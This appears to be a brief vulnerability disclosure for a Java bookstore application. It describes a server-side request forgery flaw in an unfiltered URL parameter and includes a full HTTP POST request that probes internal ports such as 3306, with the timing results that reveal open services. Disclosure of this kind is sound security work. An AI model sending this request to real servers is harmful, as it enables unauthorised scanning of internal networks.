Bookstore has SSRF

[LvZCh]

Code Audit:
The getHtml method in src/main/java/org/zdd/bookstore/rawl/HttpUtil. java does not filter the incoming URL parameters, allowing attackers to determine whether the internal network service is enabled based on the response time

Vulnerability exploitation:
Data packet:

POST /write HTTP/1.1
Host: 192.168.0.102
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=EFC9E8518CFE03C75919C813FA660442
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

url=http://127.0.0.1:3306

Local port 3306 is open and responds quickly

Local port 3307 is not turned on, with a response time of at least 2 seconds or more